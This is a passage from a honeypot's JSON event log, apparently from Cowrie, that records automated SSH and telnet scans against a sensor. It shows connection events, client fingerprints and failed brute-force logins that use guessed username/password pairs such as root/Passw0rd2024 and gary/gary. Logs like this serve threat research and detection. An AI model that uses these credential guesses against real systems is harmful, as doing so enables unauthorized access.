01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:16.909710Z","src_ip":"94.26.106.229","session":"1db2f678de6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.9753155708313,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:16.967417Z","src_ip":"152.42.224.71","session":"2ad2e0fe7dc1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"36363636","message":"login attempt [root/36363636] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:17.162211Z","src_ip":"94.26.106.229","session":"1db2f678de6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.86.117","src_port":36538,"dst_ip":"159.203.135.109","dst_port":22,"session":"a91256c84515","protocol":"ssh","message":"New connection: 43.128.86.117:36538 (159.203.135.109:22) [session: a91256c84515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:17.713472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:17.718420Z","src_ip":"43.128.86.117","session":"a91256c84515","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51026,"dst_ip":"10.17.0.5","dst_port":23,"session":"72ed5f06aaae","protocol":"telnet","message":"New connection: 152.42.224.71:51026 (10.17.0.5:23) [session: 72ed5f06aaae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:17.850546Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":47100,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b0331221921","protocol":"ssh","message":"New connection: 45.156.87.204:47100 (159.203.135.109:22) [session: 4b0331221921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:17.883638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:17.889255Z","src_ip":"45.156.87.204","session":"4b0331221921","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:17.956228Z","src_ip":"43.128.86.117","session":"a91256c84515","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:17.971600Z","src_ip":"45.156.87.204","session":"4b0331221921","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:18.217916Z","src_ip":"45.156.87.204","session":"4b0331221921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:18.248310Z","src_ip":"94.26.106.229","session":"1db2f678de6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd2024","message":"login attempt [root/Passw0rd2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:18.935515Z","src_ip":"43.128.86.117","session":"a91256c84515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:19.301977Z","src_ip":"45.156.87.204","session":"4b0331221921","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":33562,"dst_ip":"159.203.135.109","dst_port":22,"session":"543c026d0ff5","protocol":"ssh","message":"New connection: 94.26.106.229:33562 (159.203.135.109:22) [session: 543c026d0ff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:19.588048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:19.592982Z","src_ip":"94.26.106.229","session":"543c026d0ff5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:19.677730Z","src_ip":"94.26.106.229","session":"543c026d0ff5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@@","message":"login attempt [root/@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:19.931977Z","src_ip":"94.26.106.229","session":"543c026d0ff5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:20.174620Z","src_ip":"43.128.86.117","session":"a91256c84515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:21.019352Z","src_ip":"94.26.106.229","session":"543c026d0ff5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":47112,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffe9b50bd133","protocol":"ssh","message":"New connection: 45.156.87.204:47112 (159.203.135.109:22) [session: ffe9b50bd133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:21.551512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:21.556422Z","src_ip":"45.156.87.204","session":"ffe9b50bd133","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:21.640799Z","src_ip":"45.156.87.204","session":"ffe9b50bd133","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":33568,"dst_ip":"159.203.135.109","dst_port":22,"session":"58bfe732e5ff","protocol":"ssh","message":"New connection: 94.26.106.229:33568 (159.203.135.109:22) [session: 58bfe732e5ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:21.691179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:21.695828Z","src_ip":"94.26.106.229","session":"58bfe732e5ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:21.788565Z","src_ip":"94.26.106.229","session":"58bfe732e5ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:21.894824Z","src_ip":"45.156.87.204","session":"ffe9b50bd133","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing","message":"login attempt [testing/testing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:22.073836Z","src_ip":"94.26.106.229","session":"58bfe732e5ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:23.048231Z","src_ip":"45.156.87.204","session":"ffe9b50bd133","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:23.168736Z","src_ip":"94.26.106.229","session":"58bfe732e5ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":62282,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b5af50b75ad","protocol":"ssh","message":"New connection: 94.26.106.229:62282 (159.203.135.109:22) [session: 0b5af50b75ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:23.317105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:23.321790Z","src_ip":"94.26.106.229","session":"0b5af50b75ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:23.409686Z","src_ip":"94.26.106.229","session":"0b5af50b75ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qwer","password":"qwer","message":"login attempt [qwer/qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:23.673105Z","src_ip":"94.26.106.229","session":"0b5af50b75ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":46956,"dst_ip":"159.203.135.109","dst_port":22,"session":"26a06a6cceae","protocol":"ssh","message":"New connection: 94.26.106.229:46956 (159.203.135.109:22) [session: 26a06a6cceae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:23.837548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:23.841923Z","src_ip":"94.26.106.229","session":"26a06a6cceae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:23.924883Z","src_ip":"94.26.106.229","session":"26a06a6cceae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin123","message":"login attempt [kevin/kevin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:24.175668Z","src_ip":"94.26.106.229","session":"26a06a6cceae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:24.866800Z","src_ip":"94.26.106.229","session":"0b5af50b75ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34588,"dst_ip":"159.203.135.109","dst_port":22,"session":"d711d47c8806","protocol":"ssh","message":"New connection: 45.156.87.204:34588 (159.203.135.109:22) [session: d711d47c8806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:25.104432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:25.130074Z","src_ip":"45.156.87.204","session":"d711d47c8806","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:04:25.262794Z","src_ip":"94.26.106.229","session":"26a06a6cceae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 